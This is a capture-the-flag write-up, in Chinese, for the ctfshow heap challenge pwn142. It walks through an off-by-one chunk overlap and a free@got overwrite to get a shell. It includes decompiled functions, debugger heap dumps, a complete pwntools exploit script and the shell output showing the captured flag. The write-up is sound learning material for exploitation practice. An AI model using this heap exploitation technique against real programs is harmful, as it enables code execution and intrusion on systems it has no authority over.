pwn142
堆块重叠
off-by-one 漏洞伪造 chunk header size 大小, free后再次malloc相同内存地址的chunk, UAF漏洞导致可以任意执行chunk content中的指令;
输出free@got address , 计算base_addr 以及 system_addr , edit_heap函数体功能修改指针指向的内存地址数据(free@got) 为 system_addr;
free第一个chunk的时候相当于执行的system,参数就是add中的’/bin/sh\x00’, getshell;
main 函数有四个功能
- create_heap
- edit_heap
- show_heap
- delete_heap
create_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| unsigned __int64 create_heap() { __int64 v0; int i; size_t size; char buf[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !*((_QWORD *)&heaparray + i) ) { *((_QWORD *)&heaparray + i) = malloc(0x10uLL); if ( !*((_QWORD *)&heaparray + i) ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); v0 = *((_QWORD *)&heaparray + i); *(_QWORD *)(v0 + 8) = malloc(size); if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ) { puts("Allocate Error"); exit(2); } **((_QWORD **)&heaparray + i) = size; printf("Content of heap:"); read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }
|
和上一题差不多
delete_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| unsigned __int64 delete_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *((_QWORD *)&heaparray + v1) ) { free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL)); free(*((void **)&heaparray + v1)); *((_QWORD *)&heaparray + v1) = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
可以看到两个 malloc 的堆块都已经释放,但是指针只置空了一个(第一个 chunk),第二个 content 指针并未情况,存在 UAF 漏洞。
edit_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 edit_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *((_QWORD *)&heaparray + v1) ) { printf("Content of heap : "); read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
大体功能就是编辑堆,修改 content chunk 内容
1 2 3 4 5
| read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL) 表示content区地址 **((_QWORD **)&heaparray + v1) + 1LL 表示输入长度 !!!!!!!!! 但是这里 + 1LL , 存在off-by-one 漏洞, 可以写入比申请空间多1字节的数据
|
show_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned __int64 show_heap() { int v1; char buf[4]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *((_QWORD *)&heaparray + v1) ) { printf( "Size : %ld\nContent : %s\n", **((_QWORD **)&heaparray + v1), *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL)); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
%s
输出内容为 chunk1 存储的 chunck2的指针: *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));
++++++++++++ 堆块重叠
因为存在 off-by-one (一字节溢出), 控制好第一个 heap 的 content chunk 大小,就可以修改下一个 heap 的 chunk size 位。
malloc (add) 申请堆块
- note1:
0x18 + 0x08 + 0x01 = 0x21
- note2 同理:
0x18 + 0x08 + 0x01 = 0x21
通过 edit 的 off-by-one 修改 note2的header size 位 (note1 -> content 与 note2 -> head 物理相邻) 为0x41 (实际上 content 大小依然是 0x20 + 0x01)
free 掉 note1 可以发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x29a4e000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x29a4e290 Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE Addr: 0x29a4e2b0 Size: 0x20 (with flag bits: 0x21)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x29a4e2d0 Size: 0x40 (with flag bits: 0x41) fd: 0x29a4e
Top chunk | PREV_INUSE Addr: 0x29a4e310 Size: 0x20cf0 (with flag bits: 0x20cf1)
|
再次 malloc 申请 0x38+0x08 (和0x41-0x01一样大小的)空间时,会把刚刚 fake 的分配上, 地址未变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x29a4e000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x29a4e290 Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE Addr: 0x29a4e2b0 Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE Addr: 0x29a4e2d0 Size: 0x40 (with flag bits: 0x41)
Top chunk | PREV_INUSE Addr: 0x29a4e310 Size: 0x20cf0 (with flag bits: 0x20cf1)
|
注意此时为 note_3 , 但是刚刚 free 的 note_2 的 content 指针因为没有 NULL 的原因导致了 UAF 漏洞,add note_3 的时候我们又可以控制里面的内容
所以我们可以直接把 content 指针 (*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));
) 的指令改为 free@got ,这样子就会直接输出 free 函数的 got 地址
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> telescope 0x1f18e2d0 32 00:0000│ 0x1f18e2d0 ◂— 'aaaaaaaaA' 01:0008│ 0x1f18e2d8 ◂— 0x41 02:0010│ 0x1f18e2e0 ◂— 'bbbbbbbb' 03:0018│ 0x1f18e2e8 ◂— 0 04:0020│ 0x1f18e2f0 ◂— 0 05:0028│ 0x1f18e2f8 ◂— 0x21 06:0030│ 0x1f18e300 ◂— 0x38 07:0038│ 0x1f18e308 —▸ 0x1f18e2e0 ◂— 'bbbbbbbb' 08:0040│ 0x1f18e310 ◂— 0 09:0048│ 0x1f18e318 ◂— 0x20cf1 0a:0050│ 0x1f18e320 ◂— 0 ... ↓ 21 skipped
|
07:0038│ 0x1f18e308 —▸ 0x1f18e2e0 ◂— 'bbbbbbbb'
为 content 指针
02:0010│ 0x1f18e2e0 ◂— 'bbbbbbbb'
是 content 指针指向的内存地址,也是我们在 add(malloc)一个堆的时候最开始写入的地方
所以我们只需要写入(改为),然后 show(note_2) , %s 就会输出 free@got 的地址 :
1 2 3 4 5 6
| 02:0010│ 0x1f18e2e0 ◂— 0 03:0018│ 0x1f18e2e8 ◂— 0 04:0020│ 0x1f18e2f0 ◂— 0 05:0028│ 0x1f18e2f8 ◂— 0x21 06:0030│ 0x1f18e300 ◂— 0x38 07:0038│ 0x29a4e308 —▸ 0x602018 (free@got[plt]) —▸ 0x749daacadd30 (free) ◂— endbr64
|
到此处 payload 应该为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io = process("./pwn") elf = ELF("./pwn") libc = ELF("./libc/libc.so.6")
def add(size,data): io.sendlineafter(b"Your choice :",b"1") io.sendlineafter(b"Size of Heap : ",str(size)) io.recvuntil(b"Content of heap:") io.send(data)
def edit(idx,data): io.sendlineafter(b"Your choice :",b"2") io.sendlineafter(b'Index :',str(idx)) io.recvuntil(b"Content of heap : ") io.send(data)
def show(idx): io.sendlineafter(b"Your choice :",b"3") io.sendlineafter(b'Index :',str(idx))
def free(idx): io.sendlineafter(b"Your choice :",b"4") io.sendlineafter(b'Index :',str(idx))
free_got = elf.got['free'] add(0x18,b'aaaaaaaa') add(0x18,b'aaaaaaaa') edit(0,b'/bin/sh\x00' + b'a'*0x10 + p64(0x41)) free(1) add(0x38,p64(0) * 3 + p64(0x21) + p64(0x30) + p64(free_got)) show(1) free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("+++++++++++++++++++ free_addr: ",hex(free_addr))
io.interactive()
|
Output:
1
| +++++++++++++++++++ free_addr: 0x7f0776974910
|
接下来就是常规的 ret2libc 套路,计算出 base_addr 然后计算出 system_addr (因为我们要篡改 index->content) 的内容为 system_addr
也就是修改 free@got -> system_addr
1 2 3 4 5
| libc_base = free_addr - libc.sym['free'] system_addr = libc_base + libc.sym['system'] print("+++++++++++++++++++ system_addr: ",hex(system_addr)) edit(1,p64(system_addr)) free(0)
|
+++++++++ 补充:
在 free(0) 中,会先 free note->content 也就是数据块,再释放控制块(note); 所以当时我们写入的 /bin/sh\x00
就会被当作 system()
的参数执行
1 2 3
| free(note1_content) -> system('/bin/sh')
|
完整 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug') io = remote('pwn.challenge.ctf.show',28235)
elf = ELF("./pwn") libc = ELF("./libc/libc.so.6")
def add(size,data): io.sendlineafter(b"Your choice :",b"1") io.sendlineafter(b"Size of Heap : ",str(size)) io.recvuntil(b"Content of heap:") io.send(data)
def edit(idx,data): io.sendlineafter(b"Your choice :",b"2") io.sendlineafter(b'Index :',str(idx)) io.recvuntil(b"Content of heap : ") io.send(data)
def show(idx): io.sendlineafter(b"Your choice :",b"3") io.sendlineafter(b'Index :',str(idx))
def free(idx): io.sendlineafter(b"Your choice :",b"4") io.sendlineafter(b'Index :',str(idx))
free_got = elf.got['free'] add(0x18,b'aaaaaaaa') add(0x18,b'aaaaaaaa') edit(0,b'/bin/sh\x00' + b'a'*0x10 + p64(0x41)) free(1) add(0x38,p64(0) * 3 + p64(0x21) + p64(0x30) + p64(free_got)) show(1) free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("+++++++++++++++++++ free_addr: ",hex(free_addr))
libc_base = free_addr - libc.sym['free'] system_addr = libc_base + libc.sym['system'] print("+++++++++++++++++++ system_addr: ",hex(system_addr)) edit(1,p64(system_addr)) free(0)
io.interactive()
|
1 2 3 4 5 6 7
| $ cat /ctf* [DEBUG] Sent 0xa bytes: b'cat /ctf*\n' [DEBUG] Received 0x2e bytes: b'ctfshow{a70d4141-5456-4cc8-847a-b7a8668509b5}\n' ctfshow{a70d4141-5456-4cc8-847a-b7a8668509b5} $
|